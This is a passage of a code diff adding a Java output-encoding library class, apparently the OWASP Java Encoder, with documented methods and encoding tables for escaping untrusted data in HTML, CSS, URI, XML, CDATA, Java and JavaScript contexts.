+ * &lt;input value=&lt;%=Encode.forHtmlUnquotedAttribute(input)%&gt; &gt;
+ * </pre>
+ *
+ * <table border="0" class="memberSummary" summary="Shows the input and results of encoding">
+ * <caption><b>Encoding Table</b></caption>
+ * <thead>
+ * <tr>
+ * <th align="left" class="colFirst">Input</th>
+ * <th align="left" class="colLast">Result</th>
+ * </tr>
+ * </thead>
+ * <tbody>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code U+0009} (horizontal tab)</td>
+ * <td class="colLast">{@code &#9;}</td></tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code U+000A} (line feed)</td>
+ * <td class="colLast">{@code &#10;}</td></tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code U+000C} (form feed)</td>
+ * <td class="colLast">{@code &#12;}</td></tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code U+000D} (carriage return)</td>
+ * <td class="colLast">{@code &#13;}</td></tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code U+0020} (space)</td>
+ * <td class="colLast">{@code &#32;}</td></tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code &}</td>
+ * <td class="colLast">{@code &amp;}</td></tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code <}</td>
+ * <td class="colLast">{@code &lt;}</td></tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code >}</td>
+ * <td class="colLast">{@code &gt;}</td></tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code "}</td>
+ * <td class="colLast">{@code &#34;}</td></tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code '}</td>
+ * <td class="colLast">{@code &#39;}</td></tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code /}</td>
+ * <td class="colLast">{@code &#47;}</td></tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code =}</td>
+ * <td class="colLast">{@code &#61;}</td></tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code `}</td>
+ * <td class="colLast">{@code &#96;}</td></tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code U+0085} (next line)</td>
+ * <td class="colLast">{@code &#133;}</td></tr>
+ * <tr class="altColor">
+ * <td class="colFirst">{@code U+2028} (line separator)</td>
+ * <td class="colLast">{@code &#8232;}</td></tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">{@code U+2029} (paragraph separator)</td>
+ * <td class="colLast">{@code &#8233;}</td></tr>
+ * </tbody>
+ * </table>
+ *
+ * <p><b>Additional Notes</b></p>
+ * <ul>
+ * <li>The following characters are <i>not</i> encoded:
+ * {@code 0-9, a-z, A-Z}, {@code !}, {@code
+ * #}, {@code $}, {@code %},
+ * {@code (}, {@code )}, {@code
+ * *}, {@code +}, {@code ,},
+ * {@code -}, {@code .}, {@code
+ * [}, {@code \}, {@code ]},
+ * {@code ^}, {@code _}, {@code
+ * }}.</li>
+ *
+ * <li>Surrogate pairs are passed through only if valid. Invalid
+ * surrogate pairs are replaced by a hyphen (-).</li>
+ *
+ * <li>Characters in the C0 and C1 control blocks and not
+ * otherwise listed above are considered invalid and replaced by a
+ * hyphen (-) character.</li>
+ *
+ * <li>Unicode "non-characters" are replaced by hyphens (-).</li>
+ * </ul>
+ *
+ * @param input the attribute value to be encoded.
+ * @return the attribute value encoded for unquoted attribute
+ * context.
+ */
+ public static String forHtmlUnquotedAttribute(String input) {
+ return encode(Encoders.HTML_UNQUOTED_ATTRIBUTE_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forHtmlUnquotedAttribute(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forHtmlUnquotedAttribute(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.HTML_UNQUOTED_ATTRIBUTE_ENCODER, out, input);
+ }
+
+
+ // HTML comment encoding is not currently supported because
+ // of the number of vendor-specific sequences that would need
+ // to be handled (e.g. "<!--[if IE]-->"
+
+// public static String forHtmlComment(String input) {
+// // only alphanumeric and space, everything else becomes a space
+//
+// // HTML comment context needs to avoid browser extensions
+// // such as "<!--[if IE]-->"
+// throw new UnsupportedOperationException();
+// }
+
+ /**
+ * Encodes for CSS strings. The context must be surrounded by quotation
+ * characters. It is safe for use in both style blocks and attributes in
+ * HTML.
+ *
+ * <b>Example JSP Usage</b>
+ * <pre>
+ * &lt;div style="background: url('&lt;=Encode.forCssString(...)%&gt;');"&gt;
+ *
+ * &lt;style type="text/css"&gt;
+ * background: url('&lt;%=Encode.forCssString(...)%&gt;');
+ * &lt;/style&gt;
+ * </pre>
+ *
+ * <b>Encoding Notes</b>
+ * <ul>
+ *
+ * <li>The following characters are encoded using hexadecimal
+ * encodings: {@code U+0000} - {@code U+001f},
+ * {@code "},
+ * {@code '},
+ * {@code \},
+ * {@code <},
+ * {@code &},
+ * {@code /},
+ * {@code >},
+ * {@code U+007f},
+ * line separator ({@code U+2028}),
+ * paragraph separator ({@code U+2029}).</li>
+ *
+ * <li>Any character requiring encoding is encoded as {@code \xxx}
+ * where {@code xxx} is the shortest hexadecimal representation of
+ * its Unicode code point (after decoding surrogate pairs if
+ * necessary). This encoding is never zero padded. Thus, for
+ * example, the tab character is encoded as {@code \9}, not {@code
+ * \0009}.</li>
+ *
+ * <li>The encoder looks ahead 1 character in the input and
+ * appends a space to an encoding to avoid the next character
+ * becoming part of the hexadecimal encoded sequence. Thus
+ * &ldquo;{@code '1}&rdquo; is encoded as &ldquo;{@code \27
+ * 1}&rdquo;, and not as &ldquo;{@code \271}&rdquo;. If a space
+ * is not necessary, it is not included, thus &ldquo;{@code
+ * 'x}&rdquo; is encoded as &ldquo;{@code \27x}&rdquo;, and not as
+ * &ldquo;{@code \27 x}&rdquo;.</li>
+ *
+ * <li>Surrogate pairs are passed through only if valid. Invalid
+ * surrogate pairs are replaced by an underscore (_).</li>
+ *
+ * <li>Unicode "non-characters" are replaced by underscores (_).</li>
+ *
+ * </ul>
+ *
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forCssString(String input) {
+ // need to watch out for CSS expressions
+ return encode(Encoders.CSS_STRING_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forCssString(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forCssString(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.CSS_STRING_ENCODER, out, input);
+ }
+
+ /**
+ * Encodes for CSS URL contexts. The context must be surrounded by {@code "url("}
+ * and {@code ")"}. It is safe for use in both style blocks and attributes in HTML.
+ * Note: this does not do any checking on the quality or safety of the URL
+ * itself. The caller should insure that the URL is safe for embedding
+ * (e.g. input validation) by other means.
+ *
+ * <b>Example JSP Usage</b>
+ * <pre>
+ * &lt;div style="background:url(&lt;=Encode.forCssUrl(...)%&gt;);"&gt;
+ *
+ * &lt;style type="text/css"&gt;
+ * background: url('&lt;%=Encode.forCssUrl(...)%&gt;');
+ * &lt;/style&gt;
+ * </pre>
+ * <b>Encoding Notes</b>
+ * <ul>
+ *
+ * <li>The following characters are encoded using hexadecimal
+ * encodings: {@code U+0000} - {@code U+001f},
+ * {@code "},
+ * {@code '},
+ * {@code \},
+ * {@code <},
+ * {@code &},
+ * {@code /},
+ * {@code >},
+ * {@code U+007f},
+ * line separator ({@code U+2028}),
+ * paragraph separator ({@code U+2029}).</li>
+ *
+ * <li>Any character requiring encoding is encoded as {@code \xxx}
+ * where {@code xxx} is the shortest hexadecimal representation of
+ * its Unicode code point (after decoding surrogate pairs if
+ * necessary). This encoding is never zero padded. Thus, for
+ * example, the tab character is encoded as {@code \9}, not {@code
+ * \0009}.</li>
+ *
+ * <li>The encoder looks ahead 1 character in the input and
+ * appends a space to an encoding to avoid the next character
+ * becoming part of the hexadecimal encoded sequence. Thus
+ * &ldquo;{@code '1}&rdquo; is encoded as &ldquo;{@code \27
+ * 1}&rdquo;, and not as &ldquo;{@code \271}&rdquo;. If a space
+ * is not necessary, it is not included, thus &ldquo;{@code
+ * 'x}&rdquo; is encoded as &ldquo;{@code \27x}&rdquo;, and not as
+ * &ldquo;{@code \27 x}&rdquo;.</li>
+ *
+ * <li>Surrogate pairs are passed through only if valid. Invalid
+ * surrogate pairs are replaced by an underscore (_).</li>
+ *
+ * <li>Unicode "non-characters" are replaced by underscores (_).</li>
+ *
+ * </ul>
+ *
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forCssUrl(String input) {
+ return encode(Encoders.CSS_URL_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forCssUrl(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forCssUrl(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.CSS_URL_ENCODER, out, input);
+ }
+
+ /**
+ * <p>Performs percent-encoding of a URL according to RFC 3986. The provided
+ * URL is assumed to a valid URL. This method does not do any checking on
+ * the quality or safety of the URL itself. In many applications it may
+ * be better to use {@link java.net.URI} instead. Note: this is a
+ * particularly dangerous context to put untrusted content in, as for
+ * example a "javascript:" URL provided by a malicious user would be
+ * "properly" escaped, and still execute.</p>
+ *
+ * <b>Encoding Table</b>
+ * <p>The following characters are <i>not</i> encoded:</p>
+ * <pre>
+ * U+20: ! # $ &amp; ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; = ?
+ * U+40: @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ ] _
+ * U+60: a b c d e f g h i j k l m n o p q r s t u v w x y z ~
+ * </pre>
+ *
+ * <b>Encoding Notes</b>
+ * <ul>
+ *
+ * <li>The single-quote character({@code '}) <b>is not encoded</b>.</li>
+ *
+ * <li>This encoding is not intended to be used standalone. The
+ * output should be encoded to the target context. For example:
+ * {@code <a
+ * href="<%=Encode.forHtmlAttribute(Encode.forUri(uri))%>">...</a>}.
+ * (Note, the single-quote character ({@code '}) is not
+ * encoded.)</li>
+ *
+ * <li>URL encoding is an encoding for bytes, not unicode. The
+ * input string is thus first encoded as a sequence of UTF-8
+ * byte. The bytes are then encoded as {@code %xx} where {@code
+ * xx} is the two-digit hexadecimal representation of the
+ * byte. (The implementation does this as one step for
+ * performance.)</li>
+ *
+ * <li>Surrogate pairs are first decoded to a Unicode code point
+ * before encoding as UTF-8.</li>
+ *
+ * <li>Invalid characters (e.g. partial or invalid surrogate
+ * pairs), are replaced with a hyphen ({@code -}) character.</li>
+ *
+ * </ul>
+ *
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ @Deprecated public static String forUri(String input) {
+ return encode(Encoders.URI_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forUri(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ *
+ * @deprecated There is never a need to encode a complete URI with this form of encoding.
+ */
+ @Deprecated public static void forUri(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.URI_ENCODER, out, input);
+ }
+
+ /**
+ * Performs percent-encoding for a component of a URI, such as a query
+ * parameter name or value, path or query-string. In particular this
+ * method insures that special characters in the component do not get
+ * interpreted as part of another component.
+ *
+ * <pre>
+ * &lt;a href="http://www.owasp.org/&lt;%=Encode.forUriComponent(...)%&gt;?query#fragment"&gt;
+ *
+ * &lt;a href="/search?value=&lt;%=Encode.forUriComponent(...)%&gt;&amp;order=1#top"&gt;
+ * </pre>
+ *
+ * <b>Encoding Table</b>
+ * <p>The following characters are <i>not</i> encoded:</p>
+ * <pre>
+ * U+20: - . 0 1 2 3 4 5 6 7 8 9
+ * U+40: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z _
+ * U+60: a b c d e f g h i j k l m n o p q r s t u v w x y z ~
+ * </pre>
+ *
+ * <b>Encoding Notes</b>
+ * <ul>
+ *
+ * <li>Unlike {@link #forUri(String)} this method is safe to be
+ * used in most containing contexts, including: HTML/XML, CSS,
+ * and JavaScript contexts.</li>
+ *
+ * <li>URL encoding is an encoding for bytes, not unicode. The
+ * input string is thus first encoded as a sequence of UTF-8
+ * byte. The bytes are then encoded as {@code %xx} where {@code
+ * xx} is the two-digit hexadecimal representation of the
+ * byte. (The implementation does this as one step for
+ * performance.)</li>
+ *
+ * <li>Surrogate pairs are first decoded to a Unicode code point
+ * before encoding as UTF-8.</li>
+ *
+ * <li>Invalid characters (e.g. partial or invalid surrogate
+ * pairs), are replaced with a hyphen ({@code -}) character.</li>
+ *
+ * </ul>
+ *
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forUriComponent(String input) {
+ return encode(Encoders.URI_COMPONENT_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forUriComponent(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forUriComponent(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.URI_COMPONENT_ENCODER, out, input);
+ }
+
+ /**
+ * Encoder for XML and XHTML. See {@link #forHtml(String)} for a
+ * description of the encoding and context.
+ *
+ * @see #forHtml(String)
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forXml(String input) {
+ return encode(Encoders.XML_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forXml(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forXml(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.XML_ENCODER, out, input);
+ }
+
+ /**
+ * Encoder for XML and XHTML text content. See {@link
+ * #forHtmlContent(String)} for description of encoding and
+ * context.
+ *
+ * @see #forHtmlContent(String)
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forXmlContent(String input) {
+ return encode(Encoders.XML_CONTENT_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forXmlContent(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forXmlContent(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.XML_CONTENT_ENCODER, out, input);
+ }
+
+ /**
+ * Encoder for XML and XHTML attribute content. See {@link
+ * #forHtmlAttribute(String)} for description of encoding and
+ * context.
+ *
+ * @see #forHtmlAttribute(String)
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forXmlAttribute(String input) {
+ return encode(Encoders.XML_ATTRIBUTE_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forXmlAttribute(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forXmlAttribute(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.XML_ATTRIBUTE_ENCODER, out, input);
+ }
+
+ /**
+ * Encoder for XML comments. <strong>NOT FOR USE WITH
+ * (X)HTML CONTEXTS.</strong> (X)HTML comments may be interpreted by
+ * browsers as something other than a comment, typically in vendor
+ * specific extensions (e.g. {@code <--if[IE]-->}).
+ * For (X)HTML it is recommend that unsafe content never be included
+ * in a comment.
+ *
+ * <p>The caller must provide the comment start and end sequences.</p>
+ *
+ * <p>This method replaces all invalid XML characters with spaces,
+ * and replaces the "--" sequence (which is invalid in XML comments)
+ * with "-~" (hyphen-tilde). <b>This encoding behavior may change
+ * in future releases.</b> If the comments need to be decoded, the
+ * caller will need to come up with their own encode/decode system.</p>
+ *
+ * <pre>
+ * out.println("&lt;?xml version='1.0'?&gt;");
+ * out.println("&lt;data&gt;");
+ * out.println("&lt;!-- "+Encode.forXmlComment(comment)+" --&gt;");
+ * out.println("&lt;/data&gt;");
+ * </pre>
+ *
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forXmlComment(String input) {
+ return encode(Encoders.XML_COMMENT_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forXmlComment(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forXmlComment(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.XML_COMMENT_ENCODER, out, input);
+ }
+
+ /**
+ * Encodes data for an XML CDATA section. On the chance that the input
+ * contains a terminating {@code "]]>"}, it will be replaced by
+ * {@code "]]>]]<![CDATA[>"}.
+ * As with all XML contexts, characters that are invalid according to the
+ * XML specification will be replaced by a space character. Caller must
+ * provide the CDATA section boundaries.
+ *
+ * <pre>
+ * &lt;xml-data&gt;&lt;![CDATA[&lt;%=Encode.forCDATA(...)%&gt;]]&gt;&lt;/xml-data&gt;
+ * </pre>
+ *
+ * @param input the input to encode
+ * @return the encoded result
+ */
+ public static String forCDATA(String input) {
+ return encode(Encoders.CDATA_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forCDATA(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forCDATA(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.CDATA_ENCODER, out, input);
+ }
+
+ /**
+ * Encodes for a Java string. This method will use "\b", "\t", "\r", "\f",
+ * "\n", "\"", "\'", "\\", octal and unicode escapes. Valid surrogate
+ * pairing is not checked. The caller must provide the enclosing quotation
+ * characters. This method is useful for when writing code generators and
+ * outputting debug messages.
+ *
+ * <pre>
+ * out.println("public class Hello {");
+ * out.println(" public static void main(String[] args) {");
+ * out.println(" System.out.println(\"" + Encode.forJava(message) + "\");");
+ * out.println(" }");
+ * out.println("}");
+ * </pre>
+ *
+ * @param input the input to encode
+ * @return the input encoded for java strings.
+ */
+ public static String forJava(String input) {
+ return encode(Encoders.JAVA_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forJava(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forJava(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.JAVA_ENCODER, out, input);
+ }
+
+ /**
+ * <p>Encodes for a JavaScript string. It is safe for use in HTML
+ * script attributes (such as {@code onclick}), script
+ * blocks, JSON files, and JavaScript source. The caller MUST
+ * provide the surrounding quotation characters for the string.
+ * Since this performs additional encoding so it can work in all
+ * of the JavaScript contexts listed, it may be slightly less
+ * efficient than using one of the methods targeted to a specific
+ * JavaScript context ({@link #forJavaScriptAttribute(String)},
+ * {@link #forJavaScriptBlock}, {@link #forJavaScriptSource}).
+ * Unless you are interested in saving a few bytes of output or
+ * are writing a framework on top of this library, it is recommend
+ * that you use this method over the others.</p>
+ *
+ * <b>Example JSP Usage:</b>
+ * <pre>
+ * &lt;button onclick="alert('&lt;%=Encode.forJavaScript(data)%&gt;');"&gt;
+ * &lt;script type="text/javascript"&gt;
+ * var data = "&lt;%=Encode.forJavaScript(data)%&gt;";
+ * &lt;/script&gt;
+ * </pre>
+ *
+ * <table cellspacing="1" class="memberSummary" cellpadding="1" border="0">
+ * <caption><b>Encoding Description</b></caption>
+ * <thead>
+ * <tr>
+ * <th align="left" colspan="2" class="colFirst">Input Character</th>
+ * <th align="left" class="colLast">Encoded Result</th>
+ * <th align="left" class="colLast">Notes</th>
+ * </tr>
+ * </thead>
+ * <tbody>
+ * <tr class="altColor">
+ * <td class="colFirst">U+0008</td><td><i>BS</i></td>
+ * <td class="colLast"><code>\b</code></td>
+ * <td class="colLast">Backspace character</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">U+0009</td><td><i>HT</i></td>
+ * <td class="colLast"><code>\t</code></td>
+ * <td class="colLast">Horizontal tab character</td>
+ * </tr>
+ * <tr class="altColor">
+ * <td class="colFirst">U+000A</td><td><i>LF</i></td>
+ * <td class="colLast"><code>\n</code></td>
+ * <td class="colLast">Line feed character</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">U+000C</td><td><i>FF</i></td>
+ * <td class="colLast"><code>\f</code></td>
+ * <td class="colLast">Form feed character</td>
+ * </tr>
+ * <tr class="altColor">
+ * <td class="colFirst">U+000D</td><td><i>CR</i></td>
+ * <td class="colLast"><code>\r</code></td>
+ * <td class="colLast">Carriage return character</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">U+0022</td><td><code>"</code></td>
+ * <td class="colLast"><code>\x22</code></td>
+ * <td class="colLast">The encoding <code>\"</code> is not used here because
+ * it is not safe for use in HTML attributes. (In HTML
+ * attributes, it would also be correct to use
+ * "\&amp;quot;".)</td>
+ * </tr>
+ * <tr class="altColor">
+ * <td class="colFirst">U+0026</td><td><code>&amp;</code></td>
+ * <td class="colLast"><code>\x26</code></td>
+ * <td class="colLast">Ampersand character</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">U+0027</td><td><code>'</code></td>
+ * <td class="colLast"><code>\x27</code></td>
+ * <td class="colLast">The encoding <code>\'</code> is not used here because
+ * it is not safe for use in HTML attributes. (In HTML
+ * attributes, it would also be correct to use
+ * "\&amp;#39;".)</td>
+ * </tr>
+ * <tr class="altColor">
+ * <td class="colFirst">U+002F</td><td><code>/</code></td>
+ * <td class="colLast"><code>\/</code></td>
+ * <td class="colLast">This encoding is used to avoid an input sequence
+ * "&lt;/" from prematurely terminating a &lt;/script&gt;
+ * block.</td>
+ * </tr>
+ * <tr class="rowColor">
+ * <td class="colFirst">U+005C</td><td><code>\</code></td>
+ * <td class="colLast"><code>\\</code></td>
+ * <td class="colLast"></td>
+ * </tr>
+ * <tr class="altColor">
+ * <td class="colFirst" colspan="2">U+0000&nbsp;to&nbsp;U+001F</td>
+ * <td class="colLast"><code>\x##</code></td>
+ * <td class="colLast">Hexadecimal encoding is used for characters in this
+ * range that were not already mentioned in above.</td>
+ * </tr>
+ * </tbody>
+ * </table>
+ *
+ * @param input the input string to encode
+ * @return the input encoded for JavaScript
+ * @see #forJavaScriptAttribute(String)
+ * @see #forJavaScriptBlock(String)
+ */
+ public static String forJavaScript(String input) {
+ return encode(Encoders.JAVASCRIPT_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forJavaScript(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forJavaScript(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.JAVASCRIPT_ENCODER, out, input);
+ }
+
+ /**
+ * <p>This method encodes for JavaScript strings contained within
+ * HTML script attributes (such as {@code onclick}). It is
+ * NOT safe for use in script blocks. The caller MUST provide the
+ * surrounding quotation characters. This method performs the
+ * same encode as {@link #forJavaScript(String)} with the
+ * exception that <code>/</code> is not escaped.</p>
+ *
+ * <p><strong>Unless you are interested in saving a few bytes of
+ * output or are writing a framework on top of this library, it is
+ * recommend that you use {@link #forJavaScript(String)} over this
+ * method.</strong></p>
+ *
+ * <b>Example JSP Usage:</b>
+ * <pre>
+ * &lt;button onclick="alert('&lt;%=Encode.forJavaScriptAttribute(data)%&gt;');"&gt;
+ * </pre>
+ *
+ * @param input the input string to encode
+ * @return the input encoded for JavaScript
+ * @see #forJavaScript(String)
+ * @see #forJavaScriptBlock(String)
+ */
+ public static String forJavaScriptAttribute(String input) {
+ return encode(Encoders.JAVASCRIPT_ATTRIBUTE_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forJavaScriptAttribute(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forJavaScriptAttribute(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.JAVASCRIPT_ATTRIBUTE_ENCODER, out, input);
+ }
+
+ /**
+ * <p>This method encodes for JavaScript strings contained within
+ * HTML script blocks. It is NOT safe for use in script
+ * attributes (such as <code>onclick</code>). The caller must
+ * provide the surrounding quotation characters. This method
+ * performs the same encode as {@link #forJavaScript(String)} with
+ * the exception that <code>"</code> and <code>'</code> are
+ * encoded as <code>\"</code> and <code>\'</code>
+ * respectively.</p>
+ *
+ * <p><strong>Unless you are interested in saving a few bytes of
+ * output or are writing a framework on top of this library, it is
+ * recommend that you use {@link #forJavaScript(String)} over this
+ * method.</strong></p>
+ *
+ * <b>Example JSP Usage:</b>
+ * <pre>
+ * &lt;script type="text/javascript"&gt;
+ * var data = "&lt;%=Encode.forJavaScriptBlock(data)%&gt;";
+ * &lt;/script&gt;
+ * </pre>
+ *
+ * @param input the input string to encode
+ * @return the input encoded for JavaScript
+ * @see #forJavaScript(String)
+ * @see #forJavaScriptAttribute(String)
+ */
+ public static String forJavaScriptBlock(String input) {
+ return encode(Encoders.JAVASCRIPT_BLOCK_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forJavaScriptBlock(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forJavaScriptBlock(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.JAVASCRIPT_BLOCK_ENCODER, out, input);
+ }
+
+ /**
+ * <p>This method encodes for JavaScript strings contained within
+ * a JavaScript or JSON file. <strong>This method is NOT safe for
+ * use in ANY context embedded in HTML.</strong> The caller must
+ * provide the surrounding quotation characters. This method
+ * performs the same encode as {@link #forJavaScript(String)} with
+ * the exception that <code>/</code> and <code>&amp;</code> are not
+ * escaped and <code>"</code> and <code>'</code> are encoded as
+ * <code>\"</code> and <code>\'</code> respectively.</p>
+ *
+ * <p><strong>Unless you are interested in saving a few bytes of
+ * output or are writing a framework on top of this library, it is
+ * recommend that you use {@link #forJavaScript(String)} over this
+ * method.</strong></p>
+ *
+ * <b>Example JSP Usage:</b>
+ * This example is serving up JavaScript source directly:
+ * <pre>
+ * &lt;%@page contentType="text/javascript; charset=UTF-8"%&gt;
+ * var data = "&lt;%=Encode.forJavaScriptSource(data)%&gt;";
+ * </pre>
+ *
+ * This example is serving up JSON data (users of this use-case
+ * are encouraged to read up on "JSON Hijacking"):
+ * <pre>
+ * &lt;%@page contentType="application/json; charset=UTF-8"%&gt;
+ * &lt;% myapp.jsonHijackingPreventionMeasure(); %&gt;
+ * {"data":"&lt;%=Encode.forJavaScriptSource(data)%&gt;"}
+ * </pre>
+ *
+ * @param input the input string to encode
+ * @return the input encoded for JavaScript
+ * @see #forJavaScript(String)
+ * @see #forJavaScriptAttribute(String)
+ * @see #forJavaScriptBlock(String)
+ */
+ public static String forJavaScriptSource(String input) {
+ return encode(Encoders.JAVASCRIPT_SOURCE_ENCODER, input);
+ }
+
+ /**
+ * See {@link #forJavaScriptSource(String)} for description of encoding. This
+ * version writes directly to a Writer without an intervening string.
+ *
+ * @param out where to write encoded output
+ * @param input the input string to encode
+ * @throws IOException if thrown by writer
+ */
+ public static void forJavaScriptSource(Writer out, String input)
+ throws IOException
+ {
+ encode(Encoders.JAVASCRIPT_SOURCE_ENCODER, out, input);
+ }
+
+ // Additional?
+ // MySQL
+ // PostreSQL
+ // Oracle
+ // ...
+
+ /**
+ * Core encoding loop shared by public methods. It first uses the
+ * encoder to scan the input for characters that need encoding. If
+ * no characters require encoding, the input string is returned.
+ * Otherwise a buffer is used to encode the remainder
+ * of the input.
+ *
+ * @param encoder the encoder to use
+ * @param str the string to encode
+ * @return the input string encoded with the provided encoder.
+ */
+ static String encode(Encoder encoder, String str) {
+ if (str == null) {
+ // consistent with String.valueOf(...) use "null" for null.
+ str = "null";
+ }
+
+ // quick pass--see if we need to actually encode anything, if not
+ // return the value unchanged.
+ final int n = str.length();
+ int j = encoder.firstEncodedOffset(str, 0, n);
+
+ if (j == n) {
+ return str;
+ }
+
+ // otherwise, we need to encode. We use a buffer to avoid
+ // excessive memory allocation for these calls. Note: this means that
+ // an encoder implementation must NEVER call this method internally.
+ return new Buffer().encode(encoder, str, j);
+ }
+
+ /**
+ * Core encoding loop shared by public methods. It first uses the
+ * encoder to scan the input for characters that need encoding. If no
+ * characters require encoding, the input string is written directly to
+ * the writer. Otherwise a buffer is used to encode the
+ * remainder of the input to the buffers. This version saves a wrapping
+ * in an String.
+ *
+ * @param encoder the encoder to use
+ * @param out the writer for the encoded output
+ * @param str the string to encode
+ * @throws IOException if thrown by the writer
+ */
+ static void encode(Encoder encoder, Writer out, String str)
+ throws IOException
+ {
+ if (str == null) {
+ // consistent with String.valueOf(...) use "null" for null.
+ str = "null";
+ }
+
+ // quick pass--see if we need to actually encode anything, if not
+ // return the value unchanged.
+ final int n = str.length();
+ int j = encoder.firstEncodedOffset(str, 0, n);
+
+ if (j == n) {
+ out.write(str);
+ return;
+ }
+
+ // otherwise, we need to encode. We use a buffer to avoid
+ // excessive memory allocation for these calls. Note: this means that
+ // an encoder implementation must NEVER call this method internally.
+ new Buffer().encode(encoder, out, str, j);
+ }
+
+ /**
+ * A buffer used for encoding.
+ */
+ static class Buffer {
+ /**
+ * Input buffer size, used to extract a copy of the input
+ * from a string and then send to the encoder.
+ */
+ static final int INPUT_BUFFER_SIZE = 1024;
+ /**
+ * Output buffer size used to store the encoded output before
+ * wrapping in a string.
+ */
+ static final int OUTPUT_BUFFER_SIZE = INPUT_BUFFER_SIZE * 2;
+
+ /**
+ * The input buffer. A heap-allocated, array-backed buffer of
